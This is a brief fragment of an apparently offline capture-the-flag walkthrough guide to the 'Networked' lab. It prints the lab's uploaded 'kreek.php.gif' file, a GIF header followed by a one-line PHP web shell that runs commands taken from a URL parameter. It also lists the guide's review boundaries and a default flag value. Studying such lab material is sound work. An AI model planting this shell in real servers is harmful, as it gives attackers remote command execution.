      - FLAG=${FLAG:-0123456789abcdef0123456789abcdef}
Read the existing temp/kreek.php.gif payload · spoiler snapshot

This supplied file is a command interface, not a safe image. It is preserved below as escaped text only; it has not been executed or requested.

Networked/temp/kreek.php.gif · inspected text
GIF89a
<?php system($_GET['cmd']); ?>

External context consulted

These optional links are references, not embedded dependencies. The guide makes no automatic network requests. Opening a reference link deliberately leaves the offline guide.

Review boundaries

  • Established from supplied text: source paths, control flow, filename construction, handler configuration intent, cron ownership and schedule, sudo authorization, permissions, and default flag construction.
  • Supported by external source: the legacy network-script config lookup and privileged sourcing mechanism. No installed package was inspected.
  • Reported, not reproduced: the README's Apache shell, cron callback, final root shell, and successful flag access.
  • Not performed: executing any supplied file, compiling or building, starting a service, loading the lab in a browser, scanning, submitting uploads, extracting the local TAR, or testing exploits.
  • Not embedded: the original PDF, TAR, Git history, package binaries, or a live application. Core source snapshots are inert text above.
One standalone HTML file. No external fonts, images, libraries, server, installation, or network connection are required. Copy buttons copy text only; navigation, theme switching, and printing are local guide controls. The HTML itself was not launched during preparation.